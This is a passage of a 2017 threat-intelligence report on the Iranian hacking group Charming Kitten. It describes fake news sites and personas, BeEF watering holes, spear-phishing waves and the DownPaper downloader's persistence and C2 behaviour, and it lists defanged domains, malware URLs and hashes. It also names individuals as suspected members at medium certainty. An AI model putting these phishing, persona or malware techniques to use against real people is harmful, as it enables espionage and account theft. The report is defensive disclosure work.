interest to Iran in the fields of Academic research (i.e. Iranists - Scholars who study Iran), Human right and media. Emphasis is given to Iranian dissidents living in Iran or abroad, and people who come in touch with Iranians or report on Iranian affairs such as journalists and reporters, media outlets covering Iran, and political advisors. Most targets known to us are individuals living in Iran, the United States, Israel, and the UK. Others live in Turkey, France, Germany, Switzerland, United Arab Emirates, India, Denmark and other countries. Notably, the attackers usually try to gain access to private email and Facebook accounts. They seek to infiltrate the targets social network as a hop point to breach other accounts in their social network, or to collect information about their targets. Sometimes, they aim at establishing a foothold on the targets computer to gain access into their organization, but, based on our data, this is usually not their main objective, as opposed to other Iranian threat groups, such as Oilrig1 and CopyKittens2. 1 http://www.clearskysec.com/oilrig/ 2 http://www.clearskysec.com/tulip/ http://www.clearskysec.com/oilrig/ http://www.clearskysec.com/tulip/ Page 4 of 59 All rights reserved to ClearSky Cyber Security, 2017 Charming Kitten or Rocket kitten? While Iranian threat actors have been well documented by security researchers, the inner workings of the ecosystem of Irans hackers is not entirely clear. Groups can be vigorously active for years and then disappear abruptly, sometimes due to being publicly outed. Researchers make a best-faith effort to assign operations to certain groups, but the instability in the field makes the process challenging. A case of these obscure lines can be found in a blogpost published in coordination and parallel to this report -Flying Kitten to Rocket Kitten, A Case of Ambiguity and Shared Code3 by Collin Anderson and Claudio Guarnieri. Flying Kitten (which is another name given by the security industry to Charming Kitten) was one of the first groups to be described as a coherent threat actor conducting operations against political opponents of the IRI (Islamic Republic of Iran) government and foreign espionage targets. FireEyes publication of Operation Saffron Rose report, which described Flying Kittens operations against aviation firms, led to the dismantling of Flying kittens infrastructure and the apparent end of its activities. Months later, another, seemingly distinct group, Rocket Kitten, would be described by a series of reports. While the two groups exhibited different behaviors that lend credence to the assumption they were distinct, disclosures of private toolkits strongly suggest that Rocket Kitten had used Flying Kitten resources throughout its credential-theft operations. Moreover, Rocket Kitten had experimented with reusing malware that appeared to be an undisclosed precursor to Flying Kittens Stealer agent documented by FireEye. These overlaps provide some indication that Rocket Kitten had some relationship to Flying Kitten perhaps members of the latter joining the new team. Rocket Kitten has since largely subsided as a formidable actor, and repeating the theme of its predecessor now only appears in echoes of other campaigns. Read -Flying Kitten to Rocket Kitten, A Case of Ambiguity and Shared Code here: https://iranthreats.github.io/resources/attribution-flying-rocket-kitten. Further information is available in Appendix B - Previous reports about Charming Kitten and Rocket Kitten. 3 https://iranthreats.github.io/resources/attribution-flying-rocket-kitten https://iranthreats.github.io/resources/attribution-flying-rocket-kitten https://iranthreats.github.io/resources/attribution-flying-rocket-kitten Page 5 of 59 All rights reserved to ClearSky Cyber Security, 2017 The HBO hacker and Charming Kitten HBO hacking indictment In November 21, 2017, the United States Department of Justice unsealed an indictment4 against Behzad Mesri (A.K.A Skote Vahshat)5 for his involvement hacking and extorting HBO, and for subsequently leaking the stolen content on the Internet. Leaked content included confidential information about upcoming episodes of the popular television series, Game of Thrones, and video files containing unreleased episodes of other television series created by HBO6. According to the indictment, Mesri is an Iran-based computer hacker who had previously worked on behalf of the Iranian military to conduct computer network attacks that targeted military systems, nuclear software systems, and Israeli infrastructure. At certain times, Mesri has been a member of an Iran-based hacking group called the Turk Black Hat security team. Connection to Iranian government backed threat agent Security researcher Collin Anderson of Iran Threats7 tagged Mesris twitter account8 in a tweet9 suggesting that Mesri might be related to Charming Kitten. 4 https://www.justice.gov/usao-sdny/pr/acting-manhattan-us-attorney-announces-charges-against-iranian-national- conducting 5 https://www.fbi.gov/wanted/cyber/behzad-mesri 6 Other stolen content includes: (a) confidential video files containing unaired episodes of original HBO television programs, including episodes of Barry, Ballers, Curb Your Enthusiasm, Room 104, and The Deuce (b) scripts and plot summaries for unaired programs, including but not limited to episodes of Game of Thrones (c) confidential cast and crew contact lists (d) emails belonging to at least one HBO employee (e) financial documents and (f) online credentials for HBO social media accounts (collectively, the Stolen Data). 7 https://iranthreats.github.io/ 8 https://twitter.com/skote_vahshat 9 https://twitter.com/CDA/status/932992141466279936 https://www.justice.gov/usao-sdny/pr/acting-manhattan-us-attorney-announces-charges-against-iranian-national-conducting https://www.justice.gov/usao-sdny/pr/acting-manhattan-us-attorney-announces-charges-against-iranian-national-conducting https://www.fbi.gov/wanted/cyber/behzad-mesri https://iranthreats.github.io/ https://twitter.com/skote_vahshat https://twitter.com/CDA/status/932992141466279936 Page 6 of 59 All rights reserved to ClearSky Cyber Security, 2017 Subsequently, we tried to find connections of Mesri to other activities and people mentioned in this report. Thanks to the public nature of how Mesri and other members of Turk Black Hat conducted their hacking activities and private online life, we could find several connections. This is not to say that the HBO hack was ordered by the Iranian government. Rather, we try to strengthen the assumption that Mesri was, at a certain time, part of, or related to Charming Kitten. In addition, we unmask other members of the group based on their connection to Mesri and to Charming Kitten infrastructure. From Mesri to Charming Kitten ArYaIeIrAN (AKA aryaieirangmail.com AKA aryaieiranhotmail.com AKA mno_1988_fghyahoo.com) is a 29 years old Iranian hacker and member of Turk Black Hat. Below is his profile page in Iranian engineers club10: 10 http://www.iran-eng.ir/member.php/77662-ArYaiEiRan?langid1 Page 7 of 59 All rights reserved to ClearSky Cyber Security, 2017 A list of websites he defaced, listed on Zone-H11: And a mirror page of a defacement he made in 2012, showing some of his team members and email address: 11 http://www.zone-h.org/archive/notifierArYaIeIrAn Page 8 of 59 All rights reserved to ClearSky Cyber Security, 2017 The same email address, aryaieirangmail.com, shows up in the SOA (Start of Authority) record of multiple domains registered and used by Charming Kittens that are presented in this report. These include britishnews.com[. ]co, britishnews[. ]org, broadcastbritishnews[. ]com and mehrnews[. ]info. All these websites used persiandns[. ]net as their NS (name server), as can be seen in PassiveTotal12 13: 12 https://community.riskiq.com/search/britishnews.org 13 https://community.riskiq.com/search/britishnews.com.co https://community.riskiq.com/search/britishnews.org https://community.riskiq.com/search/britishnews.com.co Page 9 of 59 All rights reserved to ClearSky Cyber Security, 2017 aryaieirangmail.com also registered persiandns[. ]net, potentially indicating that he is the administrator of the services and an employee in the company: In a defacement, still online at the time of writing, both ArYaIeIrAn and Skote_Vahshat, the HBO hacker, take credit as members of Turk Black Hat. This indicates that both were members of Turk Black Hat at the same time, and likely knew each other. Page 10 of 59 All rights reserved to ClearSky Cyber Security, 2017 persiandns[. ]net hosting services, which hosted malicious domains used by charming kitten, redirects to mahanserver[. ]ir, indicating it is the same company: The about page ( ) of mahanserver[. ]ir leads to a 404 error page: Page 11 of 59 All rights reserved to ClearSky Cyber Security, 2017 The CEO of mahanserver[. ]ir is Mohammad Rasoul Akbari (A.K.A ra3ou1), likely the boss or partner of ArYaIeIrA: Page 12 of 59 All rights reserved to ClearSky Cyber Security, 2017 The two follow each other on twitter: Akbari is a Facebook friend of the HBO hacker, Behzad Mesri 14. 14 https://www.facebook.com/friendship/sk0te.vahshat/ra3ou1/ https://www.facebook.com/friendship/sk0te.vahshat/ra3ou1/ Page 13 of 59 All rights reserved to ClearSky Cyber Security, 2017 On Linkedin, MahanServer only has two employees: CEO Mohammad Rasoul Akbari and Mohammadamin Keshvari: Interestingly, Mohammadamin Keshvaris profile picture is a pomegranate, like that of ArYaIeIrANs twitter account15: 15 https://twitter.com/aryaieiran https://twitter.com/aryaieiran Page 14 of 59 All rights reserved to ClearSky Cyber Security, 2017 Moreover, Mohammadamin Keshvari mentions in his LinkedIn profile that he works at ARia Dc (ariadc[. ]com, ariadc[. ]net) which was registered by aryaieirangmail.com for three days in 2013 before changing to a generic email16: ARia Dc later turned into MahanServer, as can be seen in Waybac Machine: 16 Data from DomainTools whois history. Page 15 of 59 All rights reserved to ClearSky Cyber Security, 2017 To sum up, the HBO hacker - Behzad Mesri is a member of Turk Black Hat along with ArYaIeIrAn, who provides infrastructure for Charming Kitten activity via PersianDNS / Mahanserver together with Mohammad Rasoul Akbari, who is a Facebook friend of Behzad Mesris. We tend to identify ArYaIeIrAn with Mohammadamin Keshvari, because the latter is the only other employee of Mahanserver and works in a company whose domain was registered by the former (and both have a similar and unique profile picture). We estimate with medium certainty that the three are directly connected to Charming Kitten, and potentially, along with others are Charming Kitten. We used SocialNet, Shadow Dragons Maltego transform for social media analysis17 to analyze these connections and visually depict them, as can be seen below: 17 https://shadowdragon.io/product/socialnet https://shadowdragon.io/product/socialnet Page 16 of 59 All rights reserved to ClearSky Cyber Security, 2017 Delivery and Infection Charming Kitten attack their targets using the following methods: Made up organizations and people entities are made up to lure people into malicious websites or to receive malicious messages. Impersonating real companies real companies are impersonated, making victims believe they are communicating or visiting the website of the real companies. Watering hole attacks inserting malicious JavaScript code into breached strategic websites. Spear phishing pretending to be Gmail, Facebook, and other services providers, or pretending to be a friend of the target sharing a file or a link. These methods are elaborated below. Made up organizations and people British News Charming kitten regularly target international media outlets with Persian-language services. Two recent reports How Iran tries to control news coverage by foreign-based journalists18 and Iranian agents blackmailed BBC reporter with naked photo threats19 describe harassment and intimidation methods applied by Iranian intelligence agencies. These campaigns often target reporters and journalists in phishing attempts. On the same note, we identified a fake-news agency established by the attackers, called The British news agency or Britishnews (inspired by BBC)20. Its website domain is britishnews.com[. ]co and two other domains, broadcastbritishnews[. ]com and britishnews[. ]org, redirected to it. Below are screenshots of the main page of the website, which is online at time of writing: 18 https://rsf.org/en/news/how-iran-tries-control-news-coverage-foreign-based-journalists 19 http://www.arabnews.com/node/1195681/media 20 Outed in collaboration with Forbs On Jan 2017, see With Fake News And Femmes Fatales, Irans Spies Learn To Love Facebook forbes.com/sites/thomasbrewster/2017/07/27/iran-hackers-oilrig-use-fake-personas-on-facebook-linkedin-for- cyberespionage https://rsf.org/en/news/how-iran-tries-control-news-coverage-foreign-based-journalists http://www.arabnews.com/node/1195681/media https://www.forbes.com/sites/thomasbrewster/2017/07/27/iran-hackers-oilrig-use-fake-personas-on-facebook-linkedin-for-cyberespionage https://www.forbes.com/sites/thomasbrewster/2017/07/27/iran-hackers-oilrig-use-fake-personas-on-facebook-linkedin-for-cyberespionage https://www.forbes.com/sites/thomasbrewster/2017/07/27/iran-hackers-oilrig-use-fake-personas-on-facebook-linkedin-for-cyberespionage Page 17 of 59 All rights reserved to ClearSky Cyber Security, 2017 Below is a screenshot from the about page of the fake news agency website, detailing its objectives and giving the email addresses of various employees: Page 18 of 59 All rights reserved to ClearSky Cyber Security, 2017 Note the use of present perfect instead of past simple in has been established (instead of was established), present progressive (we are covering) instead of present simple (we cover) to mark a habitual aspect, and began this work all suggesting a Persian-thinking writer. This fake news-agency and accompanying social media accounts are not used to disseminate propaganda or false information. Their content was automatically copied from legitimate sources. The purpose of this news agency is to create legitimacy, with the end goal of reaching out to their targets and infecting them while visiting the infected website. The website contains BeEF (Browser Exploitation Framework a penetration testing tool that focuses on web browsers), however it seems that the payload is sent only when the victim visits the site from IPs in a whitelist managed by the attackers. This might indicate they are after specific targets or organizations rather than widespread infection. The screenshot below shows w3school.hopto[. ]org, which served BeEF, called when britishnews.com[. ]co is loading: Page 19 of 59 All rights reserved to ClearSky Cyber Security, 2017 Page 20 of 59 All rights reserved to ClearSky Cyber Security, 2017 At the bottom of the site are links to social media accounts created by the attackers: Below are screenshots of the accounts. Instagram, Instagram[. ]com/britishnewslive with over 13,000 followers (unavailable for several months): Page 21 of 59 All rights reserved to ClearSky Cyber Security, 2017 Twitter, https://twitter[. ]com/britishnewslive (online at time of writing): Facebook page - facebook[. ]com/officialbritishnewslive (unavailable for several months): Page 22 of 59 All rights reserved to ClearSky Cyber Security, 2017 LinkedIn company page, linkedin[. ]com/company/britishnews (unavailable for several months): The attackers also created a fake LinkedIn profile, Isabella Carey, that worked at the fake news company: linkedin[. ]com/in/isabella-carey-98a42a129 (unavailable for several months): Page 23 of 59 All rights reserved to ClearSky Cyber Security, 2017 An email address with the same name, isabella.careyygmail.com, was used to register 12 malicious domains by Charming Kitten, as can be seen in PassiveTotal21: 21 https://community.riskiq.com/search/whois/email/isabella.careyygmail.com https://community.riskiq.com/search/whois/email/isabella.careyygmail.com Page 24 of 59 All rights reserved to ClearSky Cyber Security, 2017 Made up studens and jurnalists Multiple Israeli Iranist and middle east researchers were sent emails and Twitter direct messages by made up entities. These entities are reviewed below. Zehavit Yehuda One of the fake entities is KNBC News journalist Zehavit Yehuda, who sent the following phishing email: The email links to a website, https://sites.google[. ]com/view/docs-downloads, which was built with Google Sites: Page 25 of 59 All rights reserved to ClearSky Cyber Security, 2017 The Download button is a redirection link: http://www.google[. ]com/url?qhttp3A2F2Fdownload-google.com- orginallinks.ga2Fdownload2Ffile2FusrredactedsaDsntz1usgredacted Which leads to a fake log-in page in a domain registered by the attackers: http://download-google.com-orginal-links[. ]ga/download/file/usr/redacted Yafa Hyat Fake entity Yafa Hyat (yafa1985hyat, online at time of writing) has contacted an Israeli Iranist via a direct message on twitter, pretending to be a political researcher who needs help with an article: Page 26 of 59 All rights reserved to ClearSky Cyber Security, 2017 The researcher was asked to read the article in her google account, which was also a phishing page in Google sites: https://sites.google[. ]com/site/yaffadocuments/ : Page 27 of 59 All rights reserved to ClearSky Cyber Security, 2017 The site automatically redirects to a phishing website hosted in a domain registered by the attackers, download- google.orginal-links[. ]com: Yafa also sent an email from yaffa.hyatt9617gmail.com to a university professor, asking to work at the university center she is heading. The email itself did not contain malicious content, and was likely sent to build trust prior to sending a phishing link or malware: Page 28 of 59 All rights reserved to ClearSky Cyber Security, 2017 Bahar Azadeh Fake entity Bahar Azadeh (bahra.azadeh88gmail.com and baharazadeh122, online at time of writing) sent emails with different background stories to multiple researchers. In two cases, she was a Jewish girl who has an Iranian origin and who has studied in the field of political science: 22 https://twitter.com/baharazadeh1 https://twitter.com/baharazadeh1 Page 29 of 59 All rights reserved to ClearSky Cyber Security, 2017 Yet in a third case she claimed to be Bahai living in Tehran: Translation: Hello, Mr. Dr., I am a Bahai living in Tehran, if you can call it a life. As you know, the present situation in Iran for us Bahais is not good at all, so that we are even deprived of our natural right, that is, higher education, as if we Bahais are not human and have no right to live. redacted, I have been accepted to universities all across Iran, and after two years of studying in a university, they realized from certain sources that I was Bahai, and expelled me. I did not sit idle and began to constantly protest, Ive been summoned [to court] quite a few times for this thing, and I already feel Iran has become a hell for me, and as much as I try I cant find salvation from this hell. One of the reasons Ive asked you for help and guidance was reading your book (redacted), and your research in this field has been really valuable and helpful, which made this book so beautiful. I have a few questions for you, please answer me. The entities email address is connected to a fake Facebook entity called Emilia Karter (online at time of writing): Page 30 of 59 All rights reserved to ClearSky Cyber Security, 2017 Impersonating real companies United Technologies impersonation The attackers created a website impersonating UTC (United Technologies), an American multinational conglomerate which researches, develops and manufactures products in numerous areas, including aircraft engines, [and] aerospace systems []. UTC is a large military contractor, getting about 10 of its revenue from the U.S. government23. The fake website was first reported by Iran Threats researchers on 6 February 201724. We do not have evidence that UTC was targeted or impacted. The fake website, which was built in January 2017, claimed to offer Free Special Programs And Courses For Employees Of Aerospace Companies like Lockheed Martin, SNCORP, .. It was a decoy to make visitor download a Flash Player, which was in fact DownPaper malware, analyzed later in this report. 23 https://en.wikipedia.org/wiki/United_Technologies 24 https://iranthreats.github.io/resources/macdownloader-macos-malware/ https://en.wikipedia.org/wiki/United_Technologies https://iranthreats.github.io/resources/macdownloader-macos-malware/ Page 31 of 59 All rights reserved to ClearSky Cyber Security, 2017 The malware was served from the following location: http://login.radio-m[. ]cf/utc/dnld.exe It was contained in a cabinet self-extractor that impersonates a legitimate Windows software: dnld.exe be207941ce8a5e212be8dde83d05d38d 3b4926014b9cc028d5fb9d47fee3dbd9376525dcb3b6e2173c5edb22494cfa9b Page 32 of 59 All rights reserved to ClearSky Cyber Security, 2017 Watering holes The attackers breached the following websites pertaining to Iranian and Jewish cultural affairs: Breached website Description hamijoo[. ]com An Iranian crowdfunding platform www.jewishjournal[. ]com A Jewish news site www.estherk[. ]com A personal blog of one of JewishJournals writers www.boloogh[. ]com A sex education website for Iranian youth levazand[. ]com A personal blog of an Iranian living in United sates A script tag that loads BeEF JavaScript from w3school.hopto[. ]org or from bootstrap.serveftp[. ]com was added, as can be seen in the images below: Page 33 of 59 All rights reserved to ClearSky Cyber Security, 2017 Page 34 of 59 All rights reserved to ClearSky Cyber Security, 2017 Spear Phishing for credential stealing The attackers sent hundreds, maybe thousands, of spear phishing emails to hundreds of targets. In this section, we will present samples of spear phishing emails25. Wave 1 The attackers breached the Gmail account of Alon Gur Arye, an Israeli film producer. Alon produced a satire film about the Israeli Mossad, which potentially confused the attackers to thinking he is associated with the Israeli Mossad. The breached account was used to send a phishing email to Thamar Eilam Gindin (who is targeted by the group since 201526). Below is a screenshot of the phishing email: The email contained a shortened bit.ly link to a domain registered by the attackers - drivers.document- supportsharing[. ]bid. In the statistics and usage page of the bit.ly URL we can see that the first click, likely a test run performed by the attackers before sending the phish, was from Iran. 25 Names of victims and targets are shared with their permission. 26 See , Thamar Reservoir: http://www.clearskysec.com/thamar-reservoir/ http://www.clearskysec.com/thamar-reservoir/ Page 35 of 59 All rights reserved to ClearSky Cyber Security, 2017 The phishing page pretends to be a Gmail shared document downed page that requires the visitor to log in: Page 36 of 59 All rights reserved to ClearSky Cyber Security, 2017 Wave 2 Sometimes the phishing email does not contain live text, but only an image of text linked to a phishing page. This is usually done to bypass text based spam filters. The attackers used WebRTC (code copied from Github27) to detect the real IP address of targets who use proxies (This method was documented by Iran Threats28): While sending the spear phishing, the attackers preformed password recovery on the targets Facebook account, as can be seen below. Thus, she received fake emails and legitimate ones at the same time which could cause her confusion and subsequently to give her credentials in the phishing. 27 https://github.com/diafygi/webrtc-ips/blob/master/README.md 28 https://iranthreats.github.io/resources/webrtc-deanonymization/ https://github.com/diafygi/webrtc-ips/blob/master/README.md https://github.com/diafygi/webrtc-ips/blob/master/README.md https://iranthreats.github.io/resources/webrtc-deanonymization/ Page 37 of 59 All rights reserved to ClearSky Cyber Security, 2017 Wave 3 The attackers often open a new Gmail account and send phishing emails from it. For example, suspended.user.noitificationgmail.com was used to send the following email to targets: Which leads to: Page 38 of 59 All rights reserved to ClearSky Cyber Security, 2017 In other cases, 7 different targeted phishing emails were sent to the same victim on the same day from customers.mailservicegmail.com: Page 39 of 59 All rights reserved to ClearSky Cyber Security, 2017 Page 40 of 59 All rights reserved to ClearSky Cyber Security, 2017 The phishing messages were sent to hundreds of recipients from a previously unknown email address: mails.customerservicesgmail.com They contained a link to goo-gle[. ]mobi Below are screen captures of two of the messages. The content is not copied directly from Googles original notices, as evident from the spelling and grammatical errors, some of them typical of Persian speakers, e.g. using direct speech where English would use indirect speech (that instead of whether): Page 41 of 59 All rights reserved to ClearSky Cyber Security, 2017 Hamed Hashemi, an Iranian Independent researcher and photographer living in the Netherlands was targeted in this campaign. He detected the malicious emails and wrote about them in his twitter account29 30: Translation: The brothers31 new method for hacking e-mails. Do not be fooled by such an email. 29 https://twitter.com/hamed_hashemi/status/869835075550162944 30 https://twitter.com/hamed_hashemi/status/869865703939219456 31 I.e. people working for the IRI. https://twitter.com/hamed_hashemi/status/869835075550162944 https://twitter.com/hamed_hashemi/status/869865703939219456 Page 42 of 59 All rights reserved to ClearSky Cyber Security, 2017 Translation: Ramezn (The month of Ramadan) operation continues. Other reported receiving 6 spear phishing emails within a few minutes. For example, Soudeh Rad32 board member at ILGAEurope33 (an organization for human rights and equality for lesbian, gay, bisexual, trans and intersex people at European level): Translation: Whats the most important thing to do when youre under a phishing attack? Keep your calm 6 e-mails arrived within 10 minutes (saying) someone signed into your email (account), confirm your account. 32 https://twitter.com/soudehrad/status/876062478685396992 33 https://twitter.com/ILGAEurope https://twitter.com/soudehrad/status/876062478685396992 https://twitter.com/ILGAEurope Page 43 of 59 All rights reserved to ClearSky Cyber Security, 2017 Behrang Tajdin34 a BBC Persian TV Reporter said35 36 he was targeted in a similar campaign in April 2017: Translation: If you get an email like this, dont fall for it and dont click. Its nothing but a useless phishing attempt to hack your google and Gmail account. 34 https://twitter.com/Behrang 35 https://twitter.com/Behrang/status/855761991117484032 https://twitter.com/Behrang https://twitter.com/Behrang/status/855761991117484032 Page 44 of 59 All rights reserved to ClearSky Cyber Security, 2017 Translation: And if you click on the link but dont type your password, they send you another email. Dont fall for if you wait you regret Page 45 of 59 All rights reserved to ClearSky Cyber Security, 2017 Email tracking services The attackers often use mailtrack.io to track when phishing emails are opened. These services are often used by marketing people to monitor their campaign effectiveness. Below is the source code of a spear phishing email with a mailtrack.io tracking link: Sometimes the attackers used a similar email tracking service, by Pointofmail. In this case, the malicious email was sent from Pointofmails servers (this is part of their service, not due to a breach). The email contained a redirect link to legitimate address advmailservice.com: Which redirects several times, eventually reaching the malicious page: Page 46 of 59 All rights reserved to ClearSky Cyber Security, 2017 Targeted emails with malware Email address customers.mailservicegmail.com was mostly used for spear phishing. Occasionally, it was used to deliver links to malware. For example, the email below linked to http://tinyurl[. ]com/hjtaeak which redirected to http://login.radio-m[. [cf/i/10-unique-chocolates-in-the-world.zip. The final URL contained the same sample of DownPaper that was hosted in the fake UTC website mentioned above (be207941ce8a5e212be8dde83d05d38d). Note, that the person who shared the file with the target in the malicious email was indeed a Facebook friend of the target (the target shared a link by her a few hours prior to receiving this message), and the subject of chocolate was trending on the targets feed at the time. The attackers spied on the target (potentially by following her on various social networks), and crafted an email she would be likely to receive. Page 47 of 59 All rights reserved to ClearSky Cyber Security, 2017 DownPaper Malware DownPaper, sometimes delivered as sami.exe, is a Backdoor trojan. Its main functionality is to download and run a second stage. The sample used in our analysis (3261d45051542ab3e54fa541f132f899) was contained in a Cabinet self- extractor (be207941ce8a5e212be8dde83d05d38d), served from the following URL: http://login.radio-m[. ]cf/utc/dnld.exe The process tree below shows dnld.exe drops sami.exe (DownPaper), which in turn runs Powershell to gain persistency: DownPaper performs the following steps: 1. Loads from a resource file a URL of a command and control server. In the sample we analyzed, the URL was http://46.17.97[. ]37/downloader/poster.php, Base64 encoded as can be seen below: 2. Searches and reads the value of Window Update registry key in the following path: HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run. a. If the value is Null, a new mutex is created, called Global\UpdateCenter, and a mutex synchronization function is executed. b. If the value is different than the name of the running file, section 2.a. is executed and a function called SetStartUp is called via PowerShell to create a registry key named Window Update with the following value: Page 48 of 59 All rights reserved to ClearSky Cyber Security, 2017 scriptRoot\AppData\Local\Microsoft\Windows\wuauclt.exe 3. Sends an HTTP POST request to get the location of a second stage from the command and control server. The requests contain the following fields: a. Infected computer host name b. Username c. Serial Number Retrieved via the following query: SELECT FROM Win32_BaseBoard 4. When a file is received, runs it in a new thread. 5. Pause for ten seconds, then repeat step 3. Locations C:\Users\user1\AppData\Local\Temp\IXP000.TMP\sami.exe C:\Users\user1\AppData\Local\Microsoft\Windows\wuauclt.exe Assembly Details: PDB path: d:\Task\D\Task\FUD\DownPaper\trunk\Downloader\obj\Debug\wuauclt.pdb Page 49 of 59 All rights reserved to ClearSky Cyber Security, 2017 Additional samples wuauclt.exe d6ea39e1d4aaa8c977a835e72d0975e3 msoffice-update[. ]com 93.158.215.50 http://msoffice-update[. ]com/gallery/help.php C:\Users\user1\AppData\Local\Temp\IXP000.TMP\sami.exe key: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Window Update data: C:\Users\user1\AppData\Local\Microsoft\Windows\wuauclt.exe 10 unique chocolates in the world.exe be207941ce8a5e212be8dde83d05d38d 3b4926014b9cc028d5fb9d47fee3dbd9376525dcb3b6e2173c5edb22494cfa9b sami.exe 3261d45051542ab3e54fa541f132f899 479e1e02d379ad6c3c7f496d705448fa955b50a1 C:\Users\user1\AppData\Local\Temp\IXP000.TMP\sami.exe C:\Users\user1\AppData\Local\Microsoft\Windows\wuauclt.exe 20f2da7b0c482ab6a78e9bd65a1a3a92 http://msoffice-update[. ]com/gallery/help.php d:\Task\D\Task\FUD\DownPaper\trunk\Downloader\obj\Debug\wuauclt.pdb ax haye ayin.exe 276befa70cff36860cd97e3e19f10343 753b73b82ec8307f54cfb80091600fb283476aa6df7102d6af82048ef4a5913f 5.79.69[. ]206:4455 pita.exe 60753796905458fa6a4407f48309aa25 53f7b95262971d79e676055d239180d653fd838dc6ffb9a3418ccad2b66c54bc C:\Users\user1\AppData\Local\Temp\IXP000.TMP\pita.exe aziii.exe 3c01793380fbd3f101603af68e96f058 13ac10cd2595fb8fefd4e15c1b82bd2c8e1953809f0d1c349641997aeb9f935c Azita Gallery.exe 30124b5c56cecf2045abd24011bdf06b 9aa7fc0835e75cbf7aadde824c484d7dc53fdc308a706c9645878bbd6f5d3ad8 http://msoffice-update/ Page 50 of 59 All rights reserved to ClearSky Cyber Security, 2017 MAGICHOUND.RETRIEVER By pivoting off the malicious infrastructure we found a sample of MAGICHOUND.RETRIEVER, a malware which is covered in a report by Palo Alto Networks about a group they call Magic Hound37. The report says that Magic Hound has primarily targeted organizations in the energy, government, and technology sectors that are either based or have business interests in Saudi Arabia. Also, Link analysis of infrastructure and tools [] revealed a potential relationship between Magic Hound and the adversary group called Rocket Kitten. The last notion is in line with our findings. MAGICHOUND.RETRIEVER is a .NET downloader that retrieves secondary payloads using an embedded URL in its configuration as the C2. Below is the sample that we found. flashplayer.exe 9d0e761f3803889dc83c180901dc7b22 ecf9b7283fda023fa37ad7fdb15be4eadded4e06 d4375a22c0f3fb36ab788c0a9d6e0479bd19f48349f6e192b10d83047a74c9d7 http://update-microsoft[. ]bid/img/WebService.asmx http://update-driversonline[. ]bid/img/WebService.asmx The connections between the sample and Charming Kittens infrastructure is depicted in the graph below: 37 https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/ https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/ Page 51 of 59 All rights reserved to ClearSky Cyber Security, 2017 Appendix A - Indicators of Compromise 012mail-net-uwclogin[. ]ml 443[.]tcp[.]shorturlbot[. ]club 874511478[.]account-login[. ]net 8ghefkwdvbfdsg3asdf1[. ]com account-customerservice[. ]com account-dropbox[. ]net account-google[. ]co account-login[. ]net account-logins[. ]com account-log-user-verify-mail[. ]com account-permission-mail-user[. ]com accounts[.]account-google[. ]co accounts[.]activities[.]devices[.]com[.]accounts[. ]a ctivities[.]devices[.]com[.]usersettings[. ]cf accounts[.]activities[.]devices[.]com[.]accounts[. ]g oogle[.]com[.]usersettings[. ]cf accounts[.]activities[.]devices[.]com[.]drive[. ]goog le[.]com[.]usersettings[. ]cf accounts[.]activities[.]devices[.]com[. ]usersettings [. ]cf accounts[.]google[.]com[.]accounts[.]activities[. ]d evices[.]com[.]usersettings[. ]cf accounts[.]google[.]com[.]accounts[.]google[. ]com [.]usersettings[. ]cf accounts[.]google[.]com[.]drive[.]google[.]com[. ]u sersettings[. ]cf accounts[.]google[.]com[.]usersettings[. ]cf accountservice[. ]support account-servicerecovery[. ]com accounts-googelmail[. ]com accounts-googelmails[. ]com account-signin-myaccount-users[. ]ga accounts-logins[. ]net accountsrecovery[.]ddns[. ]net accounts-service[. ]support accountsservice-support[. ]com account-support-user[. ]com accounts-yahoo[. ]us accountts-google[. ]com account-user[. ]com account-user-permission-account[. ]com account-users-mail[. ]com account-user-verify-mail[. ]com acounts-qooqie-con[. ]ml addons-mozilla[. ]download ae[.]ae[.]asus-support[. ]net ae[.]asus-support[. ]net ae[.]bocaiwang[.]asus-support[. ]net ae[.]client[.]asus-support[. ]net aipak[. ]org aiqac[. ]org aol-mail-account[. ]com apache-utility[. ]com api[.]com-service[. ]net app-documents[. ]com app-facebook[. ]co appleid[.]apple[.]com[.]account-logins[. ]com araamco[. ]com araamco[. ]com archive-center[. ]com asus-support[. ]net asus-update[. ]com berozkhodro[. ]com blog[.]group-google[. ]com bocaiwang[.]ae[.]asus-support[. ]net bocaiwang[.]asus-support[. ]net bocaiwang[.]bocaiwang[.]asus-support[. ]net bocaiwang[.]client[.]asus-support[. ]net book-archivecenter[. ]bid books-archivecenter[. ]bid books-archivecenter[. ]club books-google[.]accountservice[. ]support books-google[.]books-archivecenter[. ]bid books-google[.]www[.]books-archivecenter[. ]bid books-view[. ]com bootstrap[.]serveftp[. ]com britishnews[.]com[. ]co britishnews[. ]org broadcastbritishnews[. ]com brookings-edu[. ]in change-mail-accounting-register-single[. ]com change-mail-account-nodes-permision[. ]com change-permission-mail-user-managment[. ]com change-user-account-mail-permission[. ]com client[.]ae[.]asus-support[. ]net client[.]asus-support[. ]net client[.]bocaiwang[.]asus-support[. ]net client[.]client[.]asus-support[. ]net codeconfirm-recovery[. ]bid codeconfirm-recovery[. ]club com-account-login[. ]com com-accountrecovery[. ]bid com-accountsecure-recovery[. ]name com-accountsrecovery[. ]name com-archivecenter[. ]work com-customeradduser[. ]bid com-customerservice[. ]bid com-customerservice[. ]name com-customerservices[. ]name com-customersuperuser[. ]bid Page 52 of 59 All rights reserved to ClearSky Cyber Security, 2017 com-download[. ]ml com-manage-accountuser[. ]club com-messagecenter[. ]bid com-messengerservice[. ]bid com-messengerservice[. ]work com-microsoftonline[. ]club com-mychannel[. ]bid com-orginal-links[. ]ga com-recoversessions[. ]bid com-recovery[. ]com com-recoveryadduser[. ]bid com-recoveryidentifier[. ]bid com-recoveryidentifier[. ]name com-recoveryidentifiers[. ]bid com-recoverymail[. ]bid com-recoverysecureuser[. ]club com-recoverysecureusers[. ]club com-recoveryservice[. ]bid com-recoveryservice[. ]info com-recoverysessions[. ]bid com-recoverysubusers[. ]bid com-recoverysuperuser[. ]bid com-recoverysuperuser[. ]club com-recoverysuperuser[. ]name com-recoverysuperusers[. ]bid com-recoverysupport[. ]bid com-recoverysupport[. ]club com-service[. ]net com-servicecustomer[. ]bid com-servicecustomer[. ]name com-servicemail[. ]bid com-servicerecovery[. ]bid com-servicerecovery[. ]club com-servicerecovery[. ]info com-servicerecovery[. ]name com-servicescustomer[. ]name com-serviceslogin[. ]com com-showvideo[. ]gq com-statistics[. ]com com-stats[. ]com 